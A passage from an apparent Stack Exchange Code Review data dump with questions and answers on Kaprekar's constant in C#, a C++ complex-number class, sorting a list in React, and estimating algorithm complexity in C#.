diff = desc - asce;\n\n numberOfRepeatation++;\n\n }\n while (diff != 6174);\n\n return numberOfRepeatation;\n}\n</code></pre>\n\n<p>if you're into <code>LINQ</code>, here is <code>LINQ</code> version : </p>\n\n<pre><code>int KaprekarsConstant(int num)\n{\n // zero == zero\n if (num == 0) { return 0; }\n\n // if num is not between 1000 and 9999 throw exception\n if(num >= 1000 && num <= 9999) { throw new ArgumentException(); }\n\n // will be used inside the loop\n var diff = num;\n\n // number of repeatation\n var numberOfRepeatation = 0;\n\n do // do it at least once.\n {\n //to ascedent array \n var digitsAsc = Array\n .ConvertAll(diff.ToString().ToCharArray(), x => (int)char.GetNumericValue(x))\n .OrderBy(x=>x)\n .ToArray();\n\n //now, digitsAsc array is in ascedent order, we will resorted into descendent order by calling Reverse;\n var digitsDesc = digitsAsc.Reverse().ToArray();\n\n // convert them to string (this is similar to string.Join)\n var asce = digitsAsc\n .Aggregate(new StringBuilder(), (x, y) => x.Append(x.Length == 0 ? string.Empty : string.Empty).Append(y))\n .ToString();\n\n var desc = digitsDesc\n .Aggregate(new StringBuilder(), (x, y) => x.Append(x.Length == 0 ? string.Empty : string.Empty).Append(y))\n .ToString();\n\n diff = int.Parse(desc) - int.Parse(asce);\n\n numberOfRepeatation++;\n\n }\n while (diff != 6174);\n\n return numberOfRepeatation;\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T05:58:29.407",
"Id": "463675",
"Score": "2",
"body": "num mod 10 != 4 has nothing to do with number of digits."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T00:25:49.597",
"Id": "463782",
"Score": "0",
"body": "@slepic actually, I'm not sure why I did that in the first place !, I have changed it to `num >= 1000 && num <= 9999`."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T23:02:39.890",
"Id": "236560",
"ParentId": "236549",
"Score": "3"
}
},
{
"body": "<p>Since it is known that you'll only be dealing with numbers from 1000 to 9998(9999 is invalid since at least one digit must be different), you can work this problem without converting to strings and at the same time improve the speed quite considerably. It could look something like this:</p>\n\n<pre><code>static readonly int KeprekarsConstant = 6174;\npublic static int KaprekarsConst(int num)\n{\n if (num >= 10000 || num < 1000)\n {\n throw new ArgumentOutOfRangeException(\"'num' nust have 4 digits\");\n }\n if(num % 11 == 0 && (num/11) % 101 == 0)\n {\n return 0;\n }\n int diff = 0;\n int count = 0;\n do\n {\n diff = KapDiff(num);\n ++count;\n num = diff;\n } while (diff != KeprekarsConstant);\n return count;\n}\nstatic int KapDiff(int num)\n{\n int[] digits =\n {\n num / 1000,\n (num/100) % 10,\n (num/10) % 10,\n num % 10\n };\n Array.Sort(digits);\n int numAsc = digits[0] * 1000 + digits[1] * 100 + digits[2] * 10 + digits[3];\n int numDes = digits[3] * 1000 + digits[2] * 100 + digits[1] * 10 + digits[0];\n int diff = numDes - numAsc;\n return diff;\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T09:16:37.653",
"Id": "463694",
"Score": "0",
"body": "That was a good optimization, thanks!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T16:45:15.950",
"Id": "463734",
"Score": "0",
"body": "Why not just `const int KeprekarsConstant = 6174;`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T17:11:29.717",
"Id": "463735",
"Score": "0",
"body": "Mostly personal preference."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T07:11:11.323",
"Id": "236566",
"ParentId": "236549",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "236566",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T19:22:35.037",
"Id": "236549",
"Score": "5",
"Tags": [
"c#",
"algorithm"
],
"Title": "Kaprekar's constant algorithm in c#"
}
|
236549
|
<p>I've written a little calculator in C++ for complex numbers:</p>
<pre><code>#include <iostream>
using namespace std;
class ComplexNumber {
public:
double real;
double imaginary;
void add(ComplexNumber a, ComplexNumber b) {
//Just add real- and imaginary-parts
double real = a.real + b.real;
double imaginary = a.imaginary + b.imaginary;
ComplexNumber c = ComplexNumber(real, imaginary);
cout << "a + b = " << c.real << " + (" << c.imaginary << ") * i" << endl;
}
void sub(ComplexNumber a, ComplexNumber b) {
//Just subtract real- and imaginary-parts
double real = a.real - b.real;
double imaginary = a.imaginary - b.imaginary;
ComplexNumber c = ComplexNumber(real, imaginary);
cout << "a - b = " << c.real << " + (" << c.imaginary << ") * i" << endl;
}
void multiply(ComplexNumber a, ComplexNumber b) {
//Use binomial theorem to find formula to multiply complex numbers
double real = a.real * b.real - a.imaginary * b.imaginary;
double imaginary = a.imaginary * b.real + a.real * b.imaginary;
ComplexNumber c = ComplexNumber(real, imaginary);
cout << "a * b = " << c.real << " + (" << c.imaginary << ") * i" << endl;
}
void divide(ComplexNumber a, ComplexNumber b) {
//Again binomial theorem
double real = (a.real * b.real + a.imaginary * b.imaginary) / (b.real * b.real + b.imaginary * b.imaginary);
double imaginary = (a.imaginary * b.real - a.real * b.imaginary) / (b.real * b.real + b.imaginary * b.imaginary);
ComplexNumber c = ComplexNumber(real, imaginary);
cout << "a : b = " << c.real << " + (" << c.imaginary << ") * i" << endl;
}
/*
* Constructor to create complex numbers
*/
ComplexNumber(double real, double imaginary) {
this->real = real;
this->imaginary = imaginary;
}
};
int main() {
/*
* Variables for the real- and imaginary-parts of
* two complex numbers
*/
double realA;
double imaginaryA;
double realB;
double imaginaryB;
/*
* User input
*/
cout << "enter real(A), imag(A), real(B) and imag(B) >> ";
cin >> realA >> imaginaryA >> realB >> imaginaryB;
cout << endl;
/*
* Creation of two objects of the type "ComplexNumber"
*/
ComplexNumber a = ComplexNumber(realA, imaginaryA);
ComplexNumber b = ComplexNumber(realB, imaginaryB);
/*
* Calling the functions to add, subtract, multiply and
* divide the two complex numbers.
*/
a.add(a, b);
a.sub(a, b);
a.multiply(a, b);
a.divide(a, b);
return 0;
}
</code></pre>
<p>I would appreciate any suggestions to improve the code.</p>
<hr>
<p>You can find my follow-up question <a href="https://codereview.stackexchange.com/q/236578/">here</a>.</p>
|
[] |
[
{
"body": "<ul>\n<li><p>In short programs it can be OK, but in general avoid writing <code>using namespace std</code>. You'll find plenty of material here and elsewhere on why this is so.</p></li>\n<li><p>To promote proper <a href=\"https://en.wikipedia.org/wiki/Encapsulation_(computer_programming)\" rel=\"noreferrer\">encapsulation of data</a>, both <code>real</code> and <code>imaginary</code> should be declared under <code>private</code>, i.e., not be visible to the outside.</p></li>\n<li><p>All of the four member functions that perform arithmetic take on too much responsibility and as a result, are very inconvenient for the user. That is, remember: <em>one function, one responsibility</em>. If you add, then you don't <em>also</em> print. For example, as a user, I just want to use your class for complex arithmetic - I don't want to print every time I do so!</p></li>\n<li><p>Your four member functions don't modify the state of the object. This makes the whole class and its functionality quite rigid and strange. As it is, the functionality appears as it should be a collection of four free functions not inside any class (indeed, perhaps your background is in Java where I can imagine this is more common). A more intuitive interface for let's say the addition would be <code>void add(const ComplexNumber& other) { ... }</code>, where the implementation actually adds to <code>real</code> and <code>imaginary</code> of <code>*this</code>. Same for the other three operations.</p></li>\n<li><p>If you wanted to get fancy, you could use operator overloading to allow for a natural way to express complex arithmetic for the user.</p></li>\n<li><p>It would be useful to add a <code>void print() const { ... }</code> method in case the user wants to print.</p></li>\n<li><p>Use an initializer list if you need to write explicit constructors, i.e., write <code>ComplexNumber(double r, double i) : real(r), imaginary(i) { }</code> instead. If you don't, the compiler will call default constructors on the members first which in your case is unnecessary.</p></li>\n<li><p>In modern C++, we have the option of using in-class constructors for default values. This is quite handy, i.e., you could have <code>double real {0.0};</code> (similarly for <code>imaginary</code>) if you wanted to support the creation of complex numbers without an explicit constructor call.</p></li>\n<li><p>By the way, you don't have to write <code>ComplexNumber a = ComplexNumber(realA, imaginaryA);</code> when it's much cleaner to write <code>ComplexNumber a(realA, imaginaryA);</code>.</p></li>\n<li><p>Perhaps you know this, but <a href=\"https://en.cppreference.com/w/cpp/numeric/complex\" rel=\"noreferrer\"><code>std::complex<T></code></a> does exist if you wanted to do complex arithmetic in a more serious setting.</p></li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T20:33:45.863",
"Id": "463657",
"Score": "0",
"body": "I don't really understand the fourth point. What do you exactly mean?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T06:28:47.230",
"Id": "463676",
"Score": "5",
"body": "@chrysaetos99 it should either be `add(a, b)` returning `c` and not modifying `a` or `b`, or `a.add(b)`, in which `a` gets modified, but not `a.add(a,b)` which is distinctly awkward (after all, `a` is `this`, why is it being passed in as a parameter again?)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T09:03:09.203",
"Id": "463690",
"Score": "0",
"body": "Thanks for the clarification."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T17:39:42.343",
"Id": "463738",
"Score": "9",
"body": "I disagree with the first point. `using namespace std;` should be avoided in _all_ programs."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T17:54:35.080",
"Id": "463741",
"Score": "4",
"body": "arguably, there's no need to declare these two fields as private because all possible states are valid for this class."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T07:20:13.057",
"Id": "463793",
"Score": "1",
"body": "Operator overloading for arithmetic classes is not fancy and should be the standard way to implement the functionality."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T19:59:56.053",
"Id": "236551",
"ParentId": "236550",
"Score": "25"
}
},
{
"body": "<p>Building off the the already excellent points made by Juho,</p>\n\n<h1>Redundant arguments</h1>\n\n<p>Within your member function, you never make reference to the object being called on. Take for instance your <code>ComplexNumber::add</code> function. A more sound object-oriented implementation might resemble</p>\n\n<pre><code> void add(ComplexNumber other) {\n\n //Just add real- and imaginary-parts\n double real = this->real + other.real;\n double imaginary = this->imaginary + other.imaginary;\n ComplexNumber c = ComplexNumber(real, imaginary);\n cout << \"a + b = \" << c.real << \" + (\" << c.imaginary << \") * i\" << endl; \n }\n</code></pre>\n\n<h1>No Returns</h1>\n\n<p>The addition, subtraction, multiplication, and division operation you implemented aren't terribly useful to the user since they have no way to access the result. Consider updating all of these member function to return a new complex number, which might look like:</p>\n\n<pre><code> ComplexNumber add(ComplexNumber other) {\n\n //Just add real- and imaginary-parts\n double real = this->real + other.real;\n double imaginary = this->imaginary + other.imaginary;\n ComplexNumber c = ComplexNumber(real, imaginary);\n cout << \"a + b = \" << c.real << \" + (\" << c.imaginary << \") * i\" << endl; \n return c;\n }\n</code></pre>\n\n<p>Now the can perform operations such as <code>ComplexNumber sum = a.add(b)</code>.</p>\n\n<h1>Printing within functions</h1>\n\n<p>Write to stdout from inside of a function is usually considered bad practice. If, for instance, I wanted to use your complex number library to write my own CLI application, I would have not way prevent every complex number addition from being printed out. This is rather undesirable. I would recommend moving all of your statements with <code>cout</code> to your <code>main</code> function, leaving your member functions to resemble</p>\n\n<pre><code> ComplexNumber add(ComplexNumber other) {\n\n //Just add real- and imaginary-parts\n double real = this->real + other.real;\n double imaginary = this->imaginary + other.imaginary;\n ComplexNumber c = ComplexNumber(real, imaginary);\n return c;\n }\n</code></pre>\n\n<h1>Operator Overloading</h1>\n\n<p>This is a more advanced C++ concept, but it is good to be aware of. Instead of writing</p>\n\n<pre><code>ComplexNumber sum = a.add(b);\n</code></pre>\n\n<p>you can instead have the interface</p>\n\n<pre><code>ComplexNumber sum = a + b;\n</code></pre>\n\n<p>by overloading the addition operator for your class. A tutorial describing how to accomplish this can be found <a href=\"https://www.learncpp.com/cpp-tutorial/92-overloading-the-arithmetic-operators-using-friend-functions/\" rel=\"noreferrer\">here</a>. A possible implementation might look like</p>\n\n<pre><code> ComplexNumber operator+(ComplexNumber other) {\n\n //Just add real- and imaginary-parts\n double real = this->real + other.real;\n double imaginary = this->imaginary + other.imaginary;\n ComplexNumber c = ComplexNumber(real, imaginary);\n return c;\n }\n<span class=\"math-container\">```</span>\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T08:49:05.680",
"Id": "463686",
"Score": "4",
"body": "Note that if you don't modify the instance you really shouldn't call the method `add`, since that implies modification to most people. That mistake has been made multiple times (hello Java BigInteger) and it always confuses people. So a better name for the second method might be something like `plus` (or just go with the operator overloading and avoid the confusion alltogether)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T07:33:46.047",
"Id": "463795",
"Score": "0",
"body": "Operators are nothing more than functions with a funky name. It's no more advanced than regular functions."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T21:04:45.867",
"Id": "236554",
"ParentId": "236550",
"Score": "8"
}
},
{
"body": "<p>First, note that the complex class is unnecessary because we have <a href=\"https://en.cppreference.com/w/cpp/numeric/complex\" rel=\"noreferrer\"><code>std::complex</code></a> in the standard library, which is provided in the header <a href=\"https://en.cppreference.com/w/cpp/header/complex\" rel=\"noreferrer\"><code><complex></code></a>. If you want to design your own class, <code>std::complex</code> is a good reference. Now, for two complex numbers <code>x</code> and <code>y</code>, we can use <code>x + y</code>, <code>x - y</code>, <code>x * y</code>, and <code>x / y</code> directly.</p>\n\n<p>Next, notice that this pattern comes up a few times, with slight modifications:</p>\n\n<blockquote>\n<pre><code>cout << \"a + b = \" << c.real << \" + (\" << c.imaginary << \") * i\" << endl;\n</code></pre>\n</blockquote>\n\n<p>The outputting of the complex number can be extracted into a function to reduce repetition: (<code>std::string</code> requires <a href=\"https://en.cppreference.com/w/cpp/header/string\" rel=\"noreferrer\"><code><string></code></a> and <code>std::ostringstream</code> requires <a href=\"https://en.cppreference.com/w/cpp/header/sstream\" rel=\"noreferrer\"><code><sstream></code></a>)</p>\n\n<pre><code>std::string format(std::complex<double> z)\n{\n std::ostringstream oss{};\n oss << z.real() << \" + (\" << z.imag() << \") * i\";\n return oss.str();\n}\n</code></pre>\n\n<p>Similarly, we can use a separate function to read the real and imaginary parts of a complex number:</p>\n\n<pre><code>std::complex<double> read_complex()\n{\n double real, imag;\n std::cin >> real >> imag;\n return {real, imag};\n}\n</code></pre>\n\n<p>By the way, don't use <a href=\"https://stackoverflow.com/q/213907/9716597\"><code>std::endl</code></a> unless you need the flushing semantics (which usually slows down the program). Simply use <code>'\\n'</code> instead.</p>\n\n<p>Putting everything together:</p>\n\n<pre><code>#include <complex>\n#include <iostream>\n#include <sstream>\n#include <string>\n\nstd::string format(std::complex<double> z)\n{\n std::ostringstream oss{};\n oss << z.real() << \" + (\" << z.imag() << \") * i\";\n return oss.str();\n}\n\nstd::complex<double> read_complex()\n{\n double real, imag;\n std::cin >> real >> imag;\n return {real, imag};\n}\n\nint main()\n{\n auto x = read_complex();\n auto y = read_complex();\n\n std::cout << \"x + y = \" << format(x + y) << '\\n';\n std::cout << \"x - y = \" << format(x - y) << '\\n';\n std::cout << \"x * y = \" << format(x * y) << '\\n';\n std::cout << \"x / y = \" << format(x / y) << '\\n';\n}\n</code></pre>\n\n<p>(<a href=\"https://wandbox.org/permlink/wVj7KaXVDx1TbH2L\" rel=\"noreferrer\">live demo</a>)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T09:04:45.800",
"Id": "463691",
"Score": "1",
"body": "Thanks for your answer, but I don't really want to use std::complex, because I wanted to learn to work with complex numbers by myself."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T09:08:59.867",
"Id": "463693",
"Score": "0",
"body": "@chrysaetos99 Remember to add essential info like this in your future questions. Anyway, my point is that your complex class should mimic the (more natural) interface of `std::complex` as explained in other answers."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T17:54:35.477",
"Id": "463742",
"Score": "0",
"body": "`note that the complex class is unnecessary because we have std::complex` I strongly disagree here. While the STL provides many useful constructs, there are often strong arguments why implementing your own version is beneficial."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T18:44:24.060",
"Id": "463753",
"Score": "1",
"body": "Can you cite more than one, @infinitezero? The only reason I can think of to reinvent STL functionality is for educational purposes."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T18:46:32.927",
"Id": "463756",
"Score": "0",
"body": "Speed. STL functions often have a very general purpose. Or missing support, if you you need additional functionality that is not provided by the STL implementation."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T02:33:49.233",
"Id": "463786",
"Score": "0",
"body": "@infinitezero Many implementations of STL are optimized with compiler intrinsics or platform specific assembly tricks IIRC. Besides, the implementers of the standard library are experts compared to the average programmer. And using existing libraries significantly decreases the burden of documenting and testing, and saves development time. “Missing support” is not an issue because you are not reinventing the STL in that case — of course it doesn’t make sense to use a library for features it doesn’t provide right? ;)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T03:06:36.450",
"Id": "463788",
"Score": "0",
"body": "iirc sfml uses a custom complex number class instead of the stl implementation but I couldn't find the link where the maintainer discussed it"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T07:36:32.093",
"Id": "463796",
"Score": "0",
"body": "Your `format` function could more naturally be replaced with an overload of `std::ostream& operator << (std::ostream&, std::complex const&)`. This removes the redundant `std::ostringstream` code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T07:53:51.300",
"Id": "463799",
"Score": "1",
"body": "@Clearer I thought about that a bit, but since `complex` is a standard type that already has a `operator<<` overload that can normally be picked up by ADL, I regarded adding my own overload in the global namespace to hide the standard one as obfuscating the code semantics a little bit (I would expect `std::cout << std::complex(4, 2)` to print `(4,2)` instead of some user-defined variant). So I provided a separate function instead"
}
],
"meta_data": {
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T04:25:13.340",
"Id": "236564",
"ParentId": "236550",
"Score": "9"
}
}
] |
{
"AcceptedAnswerId": "236551",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T19:42:05.477",
"Id": "236550",
"Score": "11",
"Tags": [
"c++",
"beginner",
"reinventing-the-wheel",
"complex-numbers"
],
"Title": "C++ Calculator for complex numbers"
}
|
236550
|
<p>I have this piece of code written as a function to handle a button-toggle for sorting a list in ascending and descending order. Below is the code which is working as expected, but I would appreciate if someone knows a better, shorter and cleaner way of writing it.</p>
<pre><code> // method called every time the button is clicked
// it will change the sorting order
//(ASCENDING => DESCENDING => ASCENDING => DESCENDING) in that order
onSortChange = () => {
this.setState({
users: this.state.order
? this.state.users.sort((a, b) => {
if (a.name < b.name) return -1;
if (a.name > b.name) return 1;
return 0;
})
: this.state.users.reverse((a, b) => {
if (a.name < b.name) return 1;
if (a.name > b.name) return -1;
return 0;
}),
order: !this.state.order,
});
}
<span class="math-container">```</span>
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T22:21:50.537",
"Id": "463658",
"Score": "2",
"body": "Do the contents of the list ever change once loaded?"
}
] |
[
{
"body": "<p>Instead of resorting the list in <code>state</code> just store the preferred order in state. Then in <code>render</code> simply sort or reverse the order as needed to present the data. Be sure to use <code>key</code>s that don't change when the order is changed and it'll be quite performant.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T22:14:56.343",
"Id": "236556",
"ParentId": "236555",
"Score": "2"
}
},
{
"body": "<p>If it works as expected, there's nothing wrong with it.\nHowever to improve the readability, I'd separate the <code>setState</code> call from actual sorting. Also be careful when you change the <code>order</code> state variable and when you use that variable to determine the sort order.</p>\n\n<pre><code>orderUsers() {\n if (this.state.order) {\n return this.state.users.sort((a, b) => {\n if (a.name < b.name) return -1;\n if (a.name > b.name) return 1;\n return 0;\n });\n }\n\n return this.state.users.reverse((a, b) => {\n if (a.name < b.name) return 1;\n if (a.name > b.name) return -1;\n return 0;\n });\n}\n\nonSortChange = () => {\n const orderedUsers = this.orderUsers();\n\n this.setState({\n users: orderedUsers,\n order: !this.state.order,\n });\n}\n</code></pre>\n\n<p>Also as others have suggested, you could just sort it in <code>render()</code>. Keep in mind that you should not mutate state objects. The <code>Array.sort()</code> and <code>Array.reverse()</code> mutate the array in place. You could get unexpected results as a result of this.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T23:28:56.470",
"Id": "463663",
"Score": "1",
"body": "Hi and welcome to Code Review. *\"If it works as expected, there's nothing wrong with it\"* is not really something I would agree with. Cleaner code is better code :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T15:19:24.007",
"Id": "463727",
"Score": "1",
"body": "I‘m not advocating unclean code, hence my suggestions to improve it. But one should clean up code when there is good reason to do it, not just for the fun of it, it can be a time sink."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T22:22:44.770",
"Id": "236558",
"ParentId": "236555",
"Score": "1"
}
},
{
"body": "<p>If the list never changes once loaded, the data would only ever need to be sorted one time (which ever you prefer as the default). Once sorted, you can just <code>reverse</code> the array as you currently are.</p>\n\n<p>Additionally, if your data comes from a database of sorts, you may not even need to sort on the client at all, you could return an already sorted resultset.</p>\n\n<p>So taking all that into account, here's what your code <em>could</em> look like:</p>\n\n<pre><code>// Assuming 'users' is already sorted ASC order, if not then we want to users.sort(...) one time where appropriate\nconst { order, users } = this.state;\n// Copy the array if going in DESC order to avoid resorting for ASC\nconst sortedUsers = order ? users.slice().reverse() : users;\nthis.setState({ users: sortedUsers, order: !order });\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T07:48:26.840",
"Id": "463797",
"Score": "0",
"body": "Only the arrangement changes based on the button toggle ASC/DES."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T22:42:34.720",
"Id": "236559",
"ParentId": "236555",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "236559",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T22:12:32.047",
"Id": "236555",
"Score": "2",
"Tags": [
"javascript",
"json",
"react.js",
"sorting"
],
"Title": "Sorting a list in ascending/descending order with a button toggle"
}
|
236555
|
<p>As a learning exercise, I am writing a library to evaluate the complexity of an algorithm. I do this by seeing how long the alorgorithm takes for given inputs N, and then do a polynomial regression to see if the algorithm is best fitted by N, N^2, log(N), etc. I wrote Unit Test cases and they seem to work for N^2 and LogN. It's the simplest case, N that is giving me grief. For an order N algorithm, I'm using the following:</p>
<pre><code>uint LinearAlgorithm2(uint n)
{
uint returnValue = 7;
for (uint i = 0; i < n; i++)
{
//Thread.Sleep(2);
double y = _randomNumber.NextDouble(); // dummy calculation
if (y < 0.0005)
{
returnValue = 1;
//Console.WriteLine("y " + y + i);
}
else if (y < .05)
{
returnValue = 2;
}
else if (y < .5)
{
returnValue = 3;
}
else
{
returnValue = 7;
}
}
return returnValue;
}
</code></pre>
<p>I have all that nonsense code in there simply because I was concerned that the compiler might have been optimizing my loop away. In any case I think the loop is just a simple loop from 0 to n and therefore this is an algorithm or order N.</p>
<p>My unit test code is:</p>
<pre><code>public void TestLinearAlgorithm2()
{
Evaluator evaluator = new Evaluator();
var result = evaluator.Evaluate(LinearAlgorithm2, new List<double>() { 1000,1021, 1065, 1300, 1423, 1599,
1683, 1691, 1692, 1696, 1699, 1705,1709, 1712, 1713, 1717, 1720,
1722, 1822, 2000, 2050, 2090, 2500, 2666, 2700,2701, 2767, 2799, 2822, 2877,
3000, 3100, 3109, 3112, 3117, 3200, 3211, 3216, 3219, 3232, 3500, 3666, 3777,
4000, 4022, 4089, 4122, 4199, 4202, 4222, 5000 });
var minKey = result.Aggregate((l, r) => l.Value < r.Value ? l : r).Key;
Assert.IsTrue(minKey.ToString() == FunctionEnum.N.ToString());
}
</code></pre>
<p>And I put the class Evaluator down below. Perhaps before staring at that though I'd ask</p>
<p>1) Do you agree a simple loop 0 to N should be of order N for complexity? I.e. the time to complete the algorithm goes up as n (not nLogn or n^3, etc.)</p>
<p>2) Is there some library code already written to evaluate algorithmic complexity?</p>
<p>3) I'm very suspicious that the problem is one of optimization. Under ProjectSettings->Build in Visual Studio, I have unchecked "Optimize Code". What else should I be doing? One reason I'm suspicious that the compiler is skewing the results is that I print out the times for various input values of n. For 1000 (the first entry) it's 2533, but for 1021 it's only 415! I've put all the results below the Evaluator class.</p>
<p>Thanks for any ideas and let me know if I can provide more info (Github link?) -Dave</p>
<p>Code for Evaluator.cs</p>
<pre><code>using MathNet.Numerics.LinearAlgebra;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
/// <summary>
/// Library to evaluate complexity of algorithm.
/// Pass in method and necessary data
/// There are methods to set the size of the test data
///
/// Evaluate for LogN, N, NLogN, N^2, N^3, 2^N
///
/// Should be able use ideas from
/// https://en.wikipedia.org/wiki/Polynomial_regression
/// to finish problem. Next need matrix multiplication.
/// Or possibly use this:
/// https://www.codeproject.com/Articles/19032/C-Matrix-Library
/// or similar
/// </summary>
namespace BigOEstimator
{
public enum FunctionEnum
{
Constant = 0,
LogN = 1,
N,
NLogN,
NSquared,
NCubed,
TwoToTheN
}
public class Evaluator
{
//private List<uint> _suggestedList = new List<uint>();
private Dictionary<FunctionEnum, double> _results = new Dictionary<FunctionEnum, double>();
public Evaluator()
{
}
public Dictionary<FunctionEnum, double> Evaluate(Func<uint,uint> algorithm, IList<double> suggestedList)
{
Dictionary<FunctionEnum, double> results = new Dictionary<FunctionEnum, double>();
Vector<double> answer = Vector<double>.Build.Dense(suggestedList.Count(), 0.0);
for (int i = 0; i < suggestedList.Count(); i++)
{
Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
var result = algorithm((uint) suggestedList[i]);
stopwatch.Stop();
answer[i] = stopwatch.ElapsedTicks;
Console.WriteLine($"Answer for index {suggestedList[i]} is {answer[i]}");
}
// linear case - N
results[FunctionEnum.N] = CalculateResidual(Vector<double>.Build.DenseOfEnumerable(suggestedList), answer, d => d);
// quadratic case - NSquared
results[FunctionEnum.NSquared] = CalculateResidual(Vector<double>.Build.DenseOfEnumerable(suggestedList), answer, d => (d*d));
// cubic case - NCubed
results[FunctionEnum.NCubed] = CalculateResidual(Vector<double>.Build.DenseOfEnumerable(suggestedList), answer, d => (d * d * d));
// NLogN case - NLogN
results[FunctionEnum.NLogN] = CalculateResidual(Vector<double>.Build.DenseOfEnumerable(suggestedList), answer, d => (d * Math.Log(d)));
// LogN case - LogN
results[FunctionEnum.LogN] = CalculateResidual(Vector<double>.Build.DenseOfEnumerable(suggestedList), answer, d => ( Math.Log(d)));
// following few lines are useful for unit tests. You get this by hitting 'Output' on test!
var minKey = results.Aggregate((l, r) => l.Value < r.Value ? l : r).Key;
Console.WriteLine("Minimum Value: Key: " + minKey.ToString() + ", Value: " + results[minKey]);
foreach (var item in results)
{
Console.WriteLine("Test: " + item.Key + ", result: " + item.Value);
}
return results;
}
private double CalculateResidual(Vector<double> actualXs, Vector<double> actualYs, Func<double, double> transform)
{
Matrix<double> m = Matrix<double>.Build.Dense(actualXs.Count, 2, 0.0);
for (int i = 0; i < m.RowCount; i++)
{
m[i, 0] = 1.0;
m[i, 1] = transform((double)actualXs[i]);
}
Vector<double> betas = CalculateBetas(m, actualYs);
Vector<double> estimatedYs = CalculateEstimatedYs(m, betas);
return CalculatateSumOfResidualsSquared(actualYs, estimatedYs);
}
private double CalculateLinearResidual(Vector<double> actualXs, Vector<double> actualYs)
{
Matrix<double> m = Matrix<double>.Build.Dense(actualXs.Count, 2, 0.0);
for (int i = 0; i < m.RowCount; i++)
{
m[i, 0] = 1.0;
m[i, 1] = (double)actualXs[i];
}
Vector<double> betas = CalculateBetas(m, actualYs);
Vector<double> estimatedYs = CalculateEstimatedYs(m, betas);
return CalculatateSumOfResidualsSquared(actualYs, estimatedYs);
}
private Vector<double> CalculateBetas(Matrix<double> m, Vector<double> y)
{
return (m.Transpose() * m).Inverse() * m.Transpose() * y;
}
private Vector<double> CalculateEstimatedYs(Matrix<double> x, Vector<double> beta)
{
return x * beta;
}
private double CalculatateSumOfResidualsSquared(Vector<double> yReal, Vector<double> yEstimated)
{
return ((yReal - yEstimated).PointwisePower(2)).Sum();
}
}
}
</code></pre>
<p>Results of one run of unit test (notice discrepancies such as first one!):</p>
<pre><code> Answer for index 1000 is 2533
Answer for index 1021 is 415
Answer for index 1065 is 375
Answer for index 1300 is 450
Answer for index 1423 is 494
Answer for index 1599 is 566
Answer for index 1683 is 427
Answer for index 1691 is 419
Answer for index 1692 is 413
Answer for index 1696 is 420
Answer for index 1699 is 420
Answer for index 1705 is 438
Answer for index 1709 is 595
Answer for index 1712 is 588
Answer for index 1713 is 426
Answer for index 1717 is 433
Answer for index 1720 is 421
Answer for index 1722 is 428
Answer for index 1822 is 453
Answer for index 2000 is 497
Answer for index 2050 is 518
Answer for index 2090 is 509
Answer for index 2500 is 617
Answer for index 2666 is 653
Answer for index 2700 is 673
Answer for index 2701 is 671
Answer for index 2767 is 690
